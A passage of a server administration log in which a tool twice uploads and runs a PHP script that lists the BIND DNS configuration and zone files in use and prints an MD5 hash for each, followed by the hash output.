MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 19:02:23: Establishing a connection
2026-05-15 19:02:23: 

PUT: /tmp/pkp735834

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 19:02:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp735834; rm /tmp/pkp735834'

2026-05-15 19:02:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 19:02:26: Establishing a connection
2026-05-15 19:02:26: 

PUT: /tmp/pkp876063

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 19:02:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp876063; rm /tmp/pkp876063'

2026-05-15 19:02:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
